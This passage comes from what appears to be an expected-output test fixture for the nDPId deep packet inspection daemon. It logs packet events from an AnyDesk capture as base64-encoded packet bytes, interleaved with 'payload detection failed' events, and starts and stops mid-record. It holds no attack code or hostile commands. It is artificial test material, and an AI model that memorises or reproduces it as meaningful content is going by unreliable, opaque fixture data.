IKnw3VAnpoYDRONK3mZ8pbgeZc0O19z66L8SnXO1N3+O\/cuXeqJi4oadL6uHs236Iih4zGvu7Vr6xnhzwQeKAFrdXhlEh3PRXmADW3jTE\/rwrw6HtVKnU0ipjTiOi7LTsqbFYEFnKgbPhGiPeg\/LVBGrts6ZRzceBtWYb1M9avTAJ435uSrI2Tyo0SsxLhXJMkz0TO4ZyHE\/59tHa4jPPiMlQfR9NBWAkWkVZZQOWaoCXf\/f++pn9TqReCPwWxStJD+K5PZquAog7Yq7RK\/LujW+pEvE1sxgXCi1KpCzx6RSEBIr\/jjI0d99V5+q7RoxdCehqOuFAQ2HFmaxRBmLA4DVZu2XnarRoqBQutvRkiHBhHropWgHN5rYjavKe71Sy2vLGrstkVJWeUsmjKHuRbG3NUjBkPAbHsPs+RUKAxvyNDezdSwL4MqR6iDdoELuenuUOTn37clWufClBfhnZeFJGmoFTu07RGiSGO3KVmHLBJA9TKr9gz1xJQ6ZJb+sTYwscL+quxj2r7AfjCc5WnZXkT7wY1ULx+maX72hIX7vjr5wyplXPvRDceJqcawndVRf1yZqZZVwQQrneK9jVrpxu\/aMz8Mt7lllAzDVSmY7ZMdT\/50OiOOHG7DWIZwWZaA\/VsSIHdhYeIs3bpg4CBZqFLFs3a7JDkoWfCy2wymG5IllH0\/8wVxRzYNZdac2q4Z5fp446OK28DYDjHu3Ixk1Hvwr1bRfe4hhV8ZzxDf2O7JT1JFvNYZUQqUirOy0ev4nIjwA\/Q2cnLjuH51E6ypFSfQjEqfKAkGktZrXSUtJYje80q\/qRvwDU2cNUz2Sbw6UDKevCRDYv6WqtBi1oK5pcxeTAmqW2i2i1i8AUD3OLLYNbyiitmLLwd8AyLjLIOdLPRnQzj\/Jrsr74ifSfpiwmpTcDVJz2Pl"} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1730,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":5522} +07826{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1731,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977610,"pkt_ts_usec":920943,"pkt_caplen":5554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":5554,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAgcxAAIAGAADAqAG7wKgBstOUG56PK86YWcQ9UlAYIBGExAAAFwMDFXdZ4hNO+msWe33dVLTQAhfJbiVB1bNWfOIGiS\/yNI2xKR8U2ZjpBcEmCR7a8c3vV8iHCTMZ\/65pwg6zciGoMpBamPbL55NdeUwbkyEvPc0jA2n2Mw\/enLr+PeVDAaIhRrlYjflyeb6pNn9oAuAfoIhpE7\/xzyoszOLg35truDVW3SZAYwzq9ssZA1T9TDWxkZDexhKpl7dUQbrKfmmWCzMlfdnbP1SNUeewImgzrNyOszI014X9VMM5fdzvn5dSawKgj9nqkHuI0grkobAjNtE36LU52ZrZwueQddoJg9agZiEUlcfhNVE+IpCv9SJnJ8sr0Bf21DfeaLLg3e4gq2\/vhxGS5D03e\/93n0vx1tsOI8lTchQlzquTl7l8Fb06z7oETdTpCf4THiQnoJeEe66Q\/+RI0VkAZaoVqmGGMnksl8mnxIdWqOph8dPX\/HqdOyvU5UpGLcIFj3gtrR+tCmeToQTHTC8beQ8j5nVJxzV64Yik7vgTc\/Ume5OsH\/w6ypFE0vFbiBewaMoCC6Vw+GyzY1gcxuvj7kGavoKpKXG+eZu\/D5vo0jK4A8T0hyp3QJh9kErkmOEK6+vK4KFWgZ4hpa35HOzh3EzPoQnLynBtCElxe22AiHGdkVA\/g8bIiWRuzu9fa+Bvj9j89IBXWIaQ1KCVd+T++fzbvDLXO7QfN42dYvV9sbFrvQqWJBBa5wVfS+C8TLmu+5g2t9Z7l08+i9B8iPF3IBDILxJTHN6+Rx61fZKXHr\/8bZjuq0P9ZSwloSQZ8fVwy9nf9+5s5ps\/3zukdgvewoAYEy+zBXizY1FoAxsEKFK3Xvo0PIORTrYHjJrDcK6QBcepunaJx5fyUd96Xz84bET290AWcE1am+uo+tw4s+qRvEiFx7xENNRt\/eg0v1tT2XX7CvuTdPE9Sh97NG5KJq15RcIKsGtSdkRjRVi1zRYj15LBB6RvFwXqg2Q4w5zWSbChGykob1PxVOCYq1Ls1C4rlYUQBKZeGp3P\/KeNbIQcN5r622ITfpjV1BHrHF2dGp1P+o8uF7Br8lN1W4fEgqC3wqIPhnhRYbgJ49R7S2uov4JqjbtXKS\/32EN4YB10O5sNcbOpWllaa05EijVTITRlq3FkqG2+pwGkLstZe\/16KMeB8bqBJRtlJsKLWDESybdOsrEtKV\/2mXdn4oC3r4n0XBAy4yiHIZBWRUp\/ZGrJtc4mdI+gPURL3JpWPfaqRsQN1v6LQ9OQ9+w4siIpwrKxP\/IAAxNuLUnm1QBBaXtaXXEJ9+wnFqyDRGvGYArTcwDPwxze8VWdbXwsdgtJNJ7g7NfYohugPd1R3SUdd45UDLTWaWSgchxEZ8Okh1jq2v7x+YWgkrEbHxnBGtQtmMdCYR9t2lottKXV2V6w7HyKsFW899xrtiSl1Wqh2VdjWz9O6c2A+8uFUirYSv\/iMjkWYWRTYO01ncWlYN19ASC9SI4K3QXQMpflSNq45l4JO\/efmj4RN9KnnEuQOvgAXGgUY3wPwg20GBgTRVuejLW76qfWP9TnG1rMrc6s6cGQDZl\/5qAo2eh8h8HfxK4pRGHgvQYLcGs9uyqnl5y0Hh4SF9CnnPyTiW9zlFIUxrz3nCh3fo8QZh0zjc+M0HxBUqlhaWo1z8KrI9d4zLlmDpSx7UEFRoGJSZBBn7lQxJc5+ZYLIfWkDzEFmboK9q2xzOH\/9UTtosIuAQx9zLJVlg\/si6ezITXlFQimrWuW5aD1044OU2WUpmsdyeJtmZdUadFrpHm5HV0DpKaXawFmEX0OO6QOtS1AqlsdjDDSYPzqC5N50jYlaheui4xnJlnIgSzt7SSmRMXzwX962q6Xi0go+lCHa64C32DYlO98\/fyfrK+1lPQqaybuA0dKobiqHsR3kM8\/D7ccy6UUtFLFbeXefb88eOHYXOoiqqMkTfE7s3DWBbei+mV2vtKgmFB6975\/QVD+a6zZG9KJS4k0BYlPvOL90ML9YjuuK3\/zh5qmfCO9rFJtmUyl8CkvIXklVDfCFwju9P5jXN+qypUuOSz7a+T6dcDY6IqKFzFrl+zDDZ0d2M59Vvp5iHVIo+NoyX\/14HvzD9p5rLPn8yyhCIN7tZwSRjKwaa9Pw2k\/gHhYg+Ma+m9vxBvMfRjahfbUys+whEXwD3GsIm1r9dot\/V1I1GZyqj6GSRDWK2ay1iS5+SuY\/fUVBcop4GWAWoWukejMd\/m2FcRSg9lRCjM\/qF0yTx24IFW395hY1OfahilGAVWYBRaKhQna9iq9s6WnaBx4qjJGOXETw5CE16iX\/HOjh31r16EpF9KSJxl+x8QdtxKiPmZIYqoUsRhuQIxJ5vBQfWTg\/hLCuyZBG9gDrVEWeSKnuVOBktiPRYIVltQI\/m3o3HXmYvhS7PGGzDnywSWCL4gs2VWuKeE3+poXKctA0d5CTZJXr0qe\/c\/J03qljIjLlt1roHgcnvqrIg6MMnZi61mBN8Re1h\/kgRzQVFCC7+TgKhs5\/pJ8l30UPfQgvLf5peGo7JhCCjzh1386oBxFIhrE+4H4FgZufYAQWDt4mErGjSmGtVKAeR6iB+zEDKTjbUUeeJqtgzHczVwmrHEU8F8alvf5c1qpZ04r6nkPRBVQWoiHjva4Wn4lTvjOMMYfAg8RyETxXZUeiYNy02KrjLBqCeEJHBTQ8+hYTwj90aNBkyAQ\/az+kRzDdfube6GtIjpkhviY1LF8fyY4MLAqqMNb+cAJ0DZqJnPZ09CjA7nlLM+1su6uvS53vQ9+TyCGpjomQ35EH60fH6AMOqlUNfszlkvWH0yGVkNKcUU2SvTIqAsCl5Fks1VY7Uh7gLeOSLp5E\/05NXkhZ3\/8xVU1WjJgu88QmJQZSufMUKNFXSb+vn9uScprx8qAYP\/CYau6KzTgP\/jtJqYgNCkjyxuVmgk0WOS5WBZy7C4w3kf6owbhQTcVB2Na3q+sqJdCsBDTWZ\/+FJjRJ3LPR+XZsNVzCiNFHOXX0oZlmKJhM1kMzw5dSYlZYB13xGVp+FcyVYS1UwD7WALUrqQnASrEdYnBQfH4A0fdNmEV8ATXeyvflJoFkb4fcjXpxRl7wrsbPg9LZb\/AfjCaMRRxlo9aWNFZThn3C4szT3Of5XtsRqAfhGH1SADo\/XrnlVJtA3N9nOHKR9rdnKm00T2YpoAKTdz+yIn7900S03HwLV8TAqxvmCRk226rOdranBscpaVFubgrSG2WT+fZbp95pFzFtl3AGj9e1+HFW6eTMrMjhWG3q7KlfEclWcQoV26LjqQ9E3mYO8kzbIrj+hvCbTMsd6yrK1xHlDfDLL\/41moxHkyfkuz9q0Q4CrXaU1ERTojY+gVWoi0t1lddfv9uVoxRtzo1t7lovw8kqEkusLfGyojYYudOfJMCuSpHEswjgmLdKfpS25pWmmn8qX3OvHlpVb0nUf6lDaRcWTIAPV7yBw\/7UfKvQm6WX80ezS5Ybl+cEeuAZfW+gG2WcM40N8DPHU3ATnXZMaRB0pixW15pYQ86wIyCMbsxlGWn+V6zqdR+ZtQRV4T5BVPe6sM9nQZKdP2Mgt5yyG1UDcndYLVertJMcWFe6bregR0UjChHY2EXaUpZVFYqlj+wKyw1iR4QrDl64XLr6aOqQliQUveCrqymgtPsF0qFOxEWwYpToE6aKWsZsx4k3\/s56hwKLXeqtsFT\/U96T0+Pt6MJnD01HXYyo1CkH7YlGjhTNK50IRjv+4bDTc1RO3oe6Ol0ykfWOg1IMwpkskm8Q7Z1alIDyWdNdQqGoFNl3XgEY3US9L82risNReJz\/dQ11jUEzoP9jHkOO4TwPFwjMqAvJuWIZkTNe8EQa7qMDS47It0kklTgmygAaRAZG07TZ0+L7KDQiz1GcBFbNjOfcaswazVC6539qM49dhAcntTJ41vhFulCeQlhH7P9AzP39tU3YKC+VfeQ5bjxKh8Kl6TrwYgJQMV+ytvru9ggg3R22lA17p13P7oR2RsBn+sIHVmmw5ArD3tanNTci1alsTqxK5\/7X\/1ZThLE53p+SkCrYVy3pJU39ac8jIpalGxc0LsxZ7A6bak8HNE4PznNUt4dnmbe\/9\/TJ5FPj0oiAW5JcHiTtzjp\/is4u9sSYuLhUFVizSqfTYDgjTmda3ZVd5Rqi3BQ5lBE74J1\/CRS8cxdUUgqHFWql+IvY2hixrZuBAani17yC2ufh\/AXZtHrTtWGrP+0G6VlmxsZpBWAPOOGDY+XZp0ebM4gHnrsRcm99Rq4f\/5HaNco8wBQZkEVe8L1bXbrzKXAFXD0kihifOltuDgcb2wQsQTQWFnP6iD9wz1eOR1CQvCv8AbiQfVLt13z6TRwrpqC+4wCp+vdP8Q8Kohso5rA2Jw5dPE6AoBFSl\/KtzwcQZNVcAhgQU0hWsuI+lpiz918N83bZWF2OoehVS+n\/3sNaNE3aXsllDCVsPDnRglxSnWGKQ8kWTfv2olkGfywfnHkZdphPxKm3S3m8i+C1nVXYmFm9KGo31l\/7zv10uGwthqhQto9RAC59mW5Tz5Yw5raV+AIJzWFK1uUPZVrd+ycJQsUbNmtKRHgjCCf+X\/2ouyYd6D\/fsCr4qbyolg70algMNR0Rpu6EvElj6Ko5oLGf6ESb\/S4DWZcv\/ibibGarcIfO+CHag5Y7HWax1n5LF3Auilk9niLhlYvgJY9nY8tm6D\/Q6NQYNESwb\/neZ7Al2dsOxdpL+brcujK06cjbzB9C3tOXwr9fbPufuHYEWdUaWOLflOJ+GTU2AhQwpnwpbBnvqJCeuJWFHmDcW5HRv5VQEpoyUEgkM9kxRky6hvZZDM4+neKBm\/h4fYzmFpoF0WgXRiFU2T+oLm54hyqxvzsTdPmgdhRlk5WO87C42hEr\/GbX\/OBGgozmNBfXpaTflDXGx4hAIwsA1YZS0RD+t86oERyfM4BwLbaT1rkFCGhMLUJGZLDxNrgpYUpMA01MZ3qrpUd1IdqaaeGtGJIW3kmtK0JY\/gwExpeOyMtrfQHKrKLv5wNpTuhmIw500vP2h1BAX+FrbnIv\/JL8C1mTdfjaj\/2JEy7wR8h0R\/k6SL3gYt9CzNwX8yokertBTYIa4WT68SiqTyDOeB80gxu3R6\/4r69xQwhFv\/be4TK4QuPWj7se5hiRmz3UUIWOEdd+XkmohkKOayczTcKnjf9ROYS1aoI5kf3lD5dB+fK\/qHLDSkiLIp5TAhJ9f5KhJOiR1rWIzr729VegmY\/LWjsBK4R2M2\/r\/YmIiMJtwquKGZ+BcIpcwxpJHkI5R40tKRGD6rbIYuDNO7K\/sxOcboeiEC7t5wRNhewzau+GiddqGg4fk5+LOUq6mO2y\/39uWqzA0WviGvF1VIgult025p5okW5V+OiHRnEecUHZ36JlbxHgk6U+alDqwP\/lwRfIzQZbOWc6IzoffMjeaFoaAOgfVVZ6iwBXV1mjOCmxPgalR8W325ZuyKRwMofb4vp8p2QdiNVdroRnqTRyTlzYzgJ7eAdNVEjW\/eiBekNfdb0OrzguxC8fcApR4ABcPLXFRxh00aPTvSj2gPDHb7Nm8ujlJaZO4LY9IU8FdQ1ZnLsFajS5qGj5SYLHKt7GVx+5daTRG6m2d9WZJstGP+WjF104tuKsTFGcHwk3C0VYJDMY1DnpfKC2Bppzlu5DZfXr6Bj1kRFh2vH6Ekrv8j0c6KdYjn2sWH9BAKCxRvsODqp1X05+kxso\/AuooJpQhdf4fx\/NpyJ7Ghjm1EF\/wKAYP9\/ZG9EsCb97wVIIcHLM2nWSV1U6TZhrYhizaD5fCkqdAa1LjB1eyM5VE4fRKi2iuVOsjhPRlKCgn\/LckzBRarmwuZxaB3R41abUb8NjOxkh7v18vjhW5oRhs2OLQRGv808i9xlPUBK87qtbYN9oBWJOL1bLzDpVT6LZhLBWt5qxuP0zG5Y3O11+2qfA+ETgDdRmNUDhNphWuqpvIz2E15\/qTvN2mjq\/Hn\/\/zXhDSDYzMFGdvOoSVJ9hc74pQGoa31s2AJUlKpmVgFU3D2ep3kE7F2dnPtsw7zeM8cZp+JlJZ+FZflnbUzwJ7qcWJaPCNUsknxKU54CRm1iC4UBDkA68h3I0BPP980HaeAwY++RoDreQZ4SDTB0q5VUEYJujqvNcKH5KTducZvM1a+ifA7hKJXwGviltmiMowoNxXUMTwPI1GkdELa9tjL+ZkoFT2sVIDHVo4rmFs\/PC3dsw+mSIX7IJDnQvPTd\/ecXzMFLgWrq1wclgXn7q5jBDRITgtQtE8mKE8oF2kKMeqkDdjTxY6ltbo\/PQk7UCkpuZTcMrIT3D\/v6ykb7L4qsTh9bs041bCv\/Jx7a7iEN7s9cjvDiiM64l\/WzGH8iu2YiUwBUjgps0w4tGbJUMWyMBFH19l0lfGrZDeo8uoOnHwnuRkOKmTpOgIxJN8rPJnKERvav7PQp6udSDSQIyuKiKaD+Dyx1UGvY+P4VMxwQd5Bf4vM8TuUsPI7i7YHaxn9M1p4GA8f6wJHmRTMh5Fqlm3fZHNzev2e2n8rQKRcQvnKqx56ciVCCTCDd4QjEKtu1rJEaaNmwNVgLYYYVf3yvyaNSFD3KvV35QihayCf4D6nEUBgjOv23yw2bVGoT3hkD8wLW4uBPYIi3Nz3f5YfllzbmTReO4mtxomannR1zVO4nTVMbwXildj8DtwZNg9JaRToxuXfLvFD9uY17ePqXnXaOenJUE1vin29J2KrOgAIa+1apJ+kE3uCojO9vo8fs16Qw7bWYR9KnUaFLbhit+SazmXmEITAZlONhxNzwv1iMM7evbFnerg166F8Fs0yPyLpqQnGk17O3LdO7bmA2NCToe8Oe0itO8\/ISnwmLN845EhzWH8DTmJCUSAGUzLUArhAcbfagLnaJA2JwOFEHqJo6wmDO\/zO0sMK3cmNXea2YFpqNNpSgctyuWHTYhz5YyEoubOJvpCjyM+pA8TAz+4qmnGO9n5U9C0udB8k5P05aGn0THortIcFB+4JoLFmiS1zpOSxvhShwJdJytvgnVXvUAXFCzHvNlANIJI3emUO7DjoD\/DQ2o0gHKKkzzgIM8kZy1GqdAL7L5JKMIPMBQ+g7z0\/Cpai1GpnBgm+F8HkAO0nlR2xsg\/Su3uizIdXfZ1+XMGbRlN\/wTsNI\/nArUtJxIf9Ej13xRRRuYWrvdT7XORGsz87BVcfwHDuJlRMoZ6bqe\/gKApAL+5sTgO3FPeFHOviNPJL7JaFXzSZw0dwQAq2pYzEgVsqsxIOxuNAnaU3c7+1jKTW0JAbtneSbm2AMANoB0xQVm0Ibs52K2Na1JwdJoOqWnVerjnCXKVICtillmyx36Q=="} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1731,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":5520} +05640{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1732,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977610,"pkt_ts_usec":920965,"pkt_caplen":3938,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":3938,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAgdBAAIAGAADAqAG7wKgBstOUG56PK+QUWcQ9UlAYIBGExAAAFwMDDydZ4hNO+msWfKCAm\/8vU5X9J1tteUeVoSklZJZpMMKD6wIAp9jqhTeRY65i4DEnIrDHPz0+nS1zGhr5sF2TkyT76HJx9eghbWh+i2psjEoDYDeXHcnYKfmuHmpw\/xteVnxRwMzDKzVpCVbLL7PR+Q\/UnCCTFNe8fp3nhsVilkDFOZI1JW+qFD8jFb+y570LcdplO0HbJIKDMDdpNDSI27jiQaSYSAQyGdRNCTlyKUUONJUCJMQnABzgoVNZeIsVhOm5kRcOSd+g1TlBYxMhqfNQr0ZvxqzcNpZ\/DQjI6Bp9JNEt8tmJQ6EnTsfEUBkTcV\/+HzpdUxObVYJRkWZzVRQqV3Ld+J7Ia93ayCeLoBslZtHeVPdxzZqeYbAUfzG0FJXYA1AA55QWmaAnr0\/i0vKeobMko9aix4hQnEi6\/vawFfY9tSj3ssY88m53T6cIoYp34CYlG0z9wXTg94zEy+ZL4KK9BnqLztniX9AYav621U11m\/GzT2aoImZubAn4b4lyEZiU0U6sCYkOpwjL6Zko2FZDf6xqz4bSZi0zBnxUtpqcofh+Xnz6ZAwkfsyBx8Mmh7ZtOPdMhoTs6VZMHRKD4taaLXrqrYjowvwLmLaSyQSpYkRpJQiyfUFkfpqz2loZACpzwhzCVgjnXoQwIr0dzift0anb+nRQuebPVL2Ou2sKdH+AS3f57vQa8KGLpGQB2aO+nl2Q2vK5W5\/nTl+0kWUtjZRabZzDc4i5IIs9JhtZ9ye5RM5kyYEfOaIeQIixy04k8UVN+KB0YTpC6GCTiZfMnLYgj75u1mGMaiyjQl2LlNWpIVDRKceWWy7TC+eAnHU0wOW5kcizonTXgFZI5UP0ESgfyznNGKr4qki9NT7BTtsQgFv5TABGe2uQW8VRdpcJC7qr\/\/0UdksKhVoSJI9lmsiea+KDE8WqKvF3gpiePnePFkYn9gqVctchK3TqUFCrpvymz6bVsK5QuqlvBRdmwpjnCuMHbj4y6gkx9jUeQiAeYQA8klRSfJpKPJixhgvJUSvxSd9dt86WtseBIA290X+BH3zC3G\/awq0nLEpQ11wnZprUuaKoIR2F1IZJU2A6yljcvsTzCYFmY0U1si1KM8EeRMqvpvTZkCZDzhxnaUKA1SB5kH7EjWQig2cUDftWXp+8WdgshESyVVnaJ5QoLfiweMbhdH+cuJ9ysPF60zOM4g5Higqw+q2iH4vf1C274CnYSzI9K\/39wAi6oRqzeEmMoUvmH5kggtKbg0W1+38Hy5A\/60OIf6z\/3VGGnzvTI2E\/Chf1a5eZRNDEIW1FTaejWh4UqEpL0fUbvy3A\/rXw\/8a+vBaAYKE7VB\/\/BBSOwul+ywJPdRBT0dqtzv+AAyo\/lvTj2YkTe96l3EQe9rMfN2BnXbRMtQJ3cfTCAuj1WZLmyvf+IYFDgyyJrVwuaEfFBIThqZPAA8l0QuKNC+b9yuEVmrB+YOmBXsSu5hAb7Pz7iO+7IS+W6cDnFl+syY1Edq9gQtk6q385NuZGN7OylOfjLhBOOK4veBLHGa1FBsSU34nhCIqJlv1AbMuD3gsxVRQ6V\/4rxsXjjcH7NDoXVVmkDTTEUwxRjV5xwZOwpCRp\/mNaD1HMI7XLOMlZ5qBDA2ozSu7qcKAL3JYVJDuNTWn\/7xrzCwn59VtMixv\/BGo6NSt\/Y43uNN6Wz6PNa+qfnj51lD0t8nbzC2M\/1url73QHkAYcRrjq7pJPHdEyjQRn7RAbvFzVozworVrW83h0FTsyEgquSFksqmGLSab6bkmpJxD3EqB68jNH6hwgyGBJThRzgSPsh+0\/f4CJb4pOO\/TXlwVVFDU5i\/Sq0WM59eJYU+8ox9uUJzHg3Cy\/jaM8ZGd3DrTcgYe\/fLYTVywefsCoQdDi3zY+djrIc1WVrj6fqsZAD2G5oUKRjRy\/XtFeBL+Lyr9keosyW\/VYUPgCnFP4izRABHuiuEeLSRNNzgZmw4TPKj6IHMHLnVEJ0PIi\/uZgrybpSPKNZrwo2dfa0RIA1snvCWIwB5NmAgn4vwdaNdhPvyQU15L4I\/ArZxp2E+UPhk14hOMJL2ZCtUK1N2Pb+xPncaRTdweD0GqWUx0d72KEvyb4SdXuL2IYUNmwQXOFi0DLk9To5YmgUicFuFNFlSIIj431LZbGgTwGg0ipBUNLBDNWAUneMcWZgg5jiVEbCP1Pvd1fG8y2BKeAgSGea+vfjVPTLDIlF7BlXnljBkR1GsO\/vilhP+6xvGMsB1w2\/XWhE+154acRDcuPYcbr4m+luWetNXqXTc7oL1NxPqX+cj\/2D8UDmPvA5\/ALiU9l5EmXD4n\/VEdcpUAswOw8kjTOp39K+dt9iD\/JTN1XqEfyiHuzBDZH7jKLu5ssZ1Xqgl7zMwv8pBYK48wGKjfrHXphjW5eQ7k9Rr2XphmGlfse9MdLKasP7o6OMZCg4dqWM1b7txmBN5D5NfD2p0VhAk0ipjcsEou48aoimwBTLw54p0caR0Xk87rWgW6ffmLOkVllQc3HWpPQ8PzklElcic7Z8MbAD5V29l0BBA0G+a9mjVNQzxcGLY1pB4UV\/ot+l5PkxBUAtERY2uMZS+1bRgju6TVmEUB8BqiFBxM+j\/JDr4uySH\/zDGISb6ZbM+cch5X0hx2f7NoMN9+wWHhFd91eUcwp6TY\/nz9fY4xDmqTAa6wvibvcErh38mNAOteuLLCukfLMM92KBaZmYpS0tc33SFkv9c5XEToIoZT0xiptFXweTYLfgmU+fr728weK\/F3\/VF6ocWCNwE5ODnPUr\/jLryJQ2EFCiaMV9i5+LrTIyYe3Gx\/OHfcqPHDK2Fvqqr636gvg6H87XE\/CsFtoJspdN0sss2dpE+lNtsPe5Fs0yF2ah1npmbMlO5SZVB3bd8rReBMYcChhwB5EhW3y4Yfx12jQLwC+u+0HZVvws86m8laIGoO\/Nh3y6DS3QwWjsgTl06EmLCSfkXuWpnDo\/tix53119LB7OeRPYJnBs6yOfrrNv+gb5W0Mz4S+FVVePpXqNawunCtsAL3YmtdVfKQWd9eKRn8iiaOWOjQwbVjbVHiByC3li\/6vue3sgmTna5huvC2x0aDTTGcZ9QgRMCOl\/wtvpqi\/ndRXtfSFnOjElz3LqD1OPP4qKeecAxFjKn+u3Yujbfz0VrQlYvQkIVfQ7Dx69oYWf4DewIJ32MsksdFGWmoenz3ywakElV1Vr8xS2jYSzX2QTAAADdJlJyKnlUenZ3X+0h3lbHNZOwGlPgoX8f2++7LeeeNMHEpUCIfAlsbw+4UiWLOd6P8UUZfi2IqyX9jHwcCHEJ8AJ3pzGiL2+JHJBRUchnW1mjng4f8hK7V\/DH6qeWCE30uke4WPkyaxJKF0pcqNsIkvDYQt1GvUNreQmDad57uPCxIEg9uIU+PqBfjyT+8JOXk5XB1NAJe2iJbYxbMJorhoZliID1rtPDMUhrEf\/Ibo95y2TZa8Wnz5BrJOMvuYWnbe\/EhEEf55u8\/4wLovscmbji+YgP+LmYuV49+E+qoyRVzzTZjnnAhEEKO5jK4W2odqI+vIDyu28GpK8FY+WqwCEMFkCezbvK4fYwzX+G+lmZx2vMOo\/V3oaGUJnCA5arkZCH\/J4ypzFfXmxx8TsSqoy6OZF41McS+VGBBSSHz7KccnXnLvEYtPzQ06vR5OKDOAg\/X7tbjJ2V9Y3zwCxbpTheUq6OnS\/GLORLWEWIoHrm2oWVzgdg+0PsHMVAMXwS6ELDRoLUAXU+hWk0qVycc7epxzwj8LYrtu01CStO2xaMCeTyB3tcUnQP89WUSa3xtwEThP4cxgwAAalJ+HG6L32SP7kxltRcE9BL5\/L8\/yzYoR0LWcINHskYJcPzwikMa42E2pRZmS4BrM9sQp6rPiSUAsFyg7VM6KJ2exFlJ1BJw67D8DlPnl0dWoLYrGQ8jqvxIT1IvjwW6EUa+gKGzsd5nVv5Atbc9bapb9Uq3aA0PntSYOzUlV0FJL4FFjBf2QVG5wXsHUyE4aBksiQ1PanxjKMNPs8kvowXgU6MalSsWWJyXtq0qiiTBg44I08J1f4GdYgu1F6eIZTNWYF1BjE6MvB7Kq2lkbsqlJSjXBsag2DPbirvG1T1P\/mCaeFizcqTK1IR1zcKU3t36\/ZwOhNsY+Afal1gjZDpNjEEgSrF0tnoPlnnYmSyXIhFsvQjt+6nGC7gFi3uHUD8dgbar+MSb4XB2h+FpcotUvx9nPHygDVS55pxhaz4P9HisI9Gk4jKRWUy\/hWIkHM8Zw9w92i0o7G7E9aKZxwM8Wb9pvL62qyrM64YgwNhOK4ZXOtVAlj8IdVQ1A\/Q4gjfbnp8suiiuAGUhEpfbQhXxyDz7\/gywkeTxDr9QPgj\/btVo26QQ2hvPVAIrs3LKoNp0jtznxSeYteDkFVJBpz\/VNTqwqqFG59HhYDkUFuVzJO\/W4DT3pqCyZ9N6BY8cTnk4ZRGXthrdvQEmuJdjJaKJkIONBmh5ivgCP+rMF+u0OuZGv6TcvYpxhICTc4+fP4tCvJLRO82FgsHdyp+Ls4Vt3\/55aQccx43ZmiHoBLiyn5C1902H2M22FB66l18TNIuIF34Z4KhbJ2KR4+mdUBP4QVwuD9qTXjPvEG+Oa8TZWmMkScbhMMvIPgXeVejw1NAIU0ESpJ++7lnZelLbJ3fBpzJh2vzO3Xf1ytuGqrH6qvFHMtfziEQUvH1lpL\/nrsM6ZC4kj6btrI4Ht32mMsvuYyeafubhH4YLGDRplJVqJkbZoGZipaF3BQ+jLo7I8RvhBVF+QY7Pn\/Gi5mMVvHLFCbvY9cwXPwn\/n1hhQeqQzoPpX0Pi+MpKdKZKQqz7kTnPpxphfTbbL2JXEAQnuQjOoBdDqogbEeiEY9U8v3Pyakr2DyYEzdF6I3F8x8Ulm6RQAakS3H5qp6bR0QwYd93CpmDgCxPZv+83qVEIXBv+NhORCWW0hpuVybraLjlgyn\/VV6O89j0ovh2Z2z4nyO1\/d2px2Bj4MlfvaT0ramaEhI7UJrclHbDxrGJVHK0MFVI66nZ6vabzFmyIs8S\/JboHb+GTzwsCS5T9VTD96KYYQoWk7WzWjK7cTpHGyWXMMKHbGI\/4V0N1QSdR6kNDnYF++N6vK3RAQmgEpA79OJUI8U3HKevm7UF2v0mwUteizNbcLM\/s="} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1732,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":3904} +04442{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1741,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977610,"pkt_ts_usec":946999,"pkt_caplen":3059,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":3059,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAgdhAAIAGAADAqAG7wKgBstOUG56PK\/okWcQ9sFAYIBGExAAAFwMDC7hZ4hNO+msWf+wM3tJUznZjEJTQhx5cwAWZbGu7pzRjGGKjH6VhmfC4JU3zlrf3vuXkYv7F9ERpl1gL1j50zrIgi4\/7eqeHFDM5Rfaf2UoQX6odoHd2qoEqFfbazz81sec4iPrzCz36vbtvAewBhFs2YamcLoI\/cnZkAP2ibQtJ5Z9juVlkaT4JGmHy76v0ALdArpALyi4vwE5LRfJxoySa7myjzitJU9L+KV0Php7hlfaW7uY3DibKtoJyQxF2stukFxF1pWUM1cPV5ge4mAzauiiB2enkaP4uzzq1A5xhZYrVvPTJ2HK5mOGO\/uNTb0usgAiMWoNbB4a\/7Ia3qaajfVYkD1n2Zu26zoicz0koz3WjIMw64tnmUVdHvo3yubk5nvCV4YQRFCrkxKLMR8thXMlREe4XKsrwTaArUCbDt47UMNSmTelKnOy+GO3O086bLDvR+PERVjli9KvUxoU2DNEuUb2CW2giRKuvsCvN1zUmVr3M4lmJmC7ecfOy6MlMmu+ofXDcX2QL7NRSKAuO+O5SMwBsKpSD3f6F567zWh39UcFDggRlepZz+FXojkUx3GXlv0TButcgYlOklqF4xr9bhLmCG4FIV3PEYLbKAGlKy9ZdEAt56Cyf6nDxqfFiNcEPg4zYFoSb146HVo9GmrEodb7VKwkbksMM1nsYrqUCMqk2dXOnVRlK3p3+76ryL77CW8SFK2\/s\/UpVTwyXHyBtkbhCra+8SGF5VLQKgchKX6+Idi0mDE5\/1grxt9Xjy0nGqXRj2JsFI05C29P5gcdwoSZxIUPkBzdX71yN5XvcuG9ggO7bDe8Zt8sEZV5pfv0IHzQkoTaXdzTvAPKgApdXaxvwna1cuR3JfhV+\/DNIZhrJaf35YtJgWebxq5HvGek2eZ+NrUuL+z05PYvVlG+nS2KCTDlUDfrhsXKKB7\/1\/QRvdDunTwcr4l8LfVhavcT2wCrRHxomDsXWdVPHTLqBX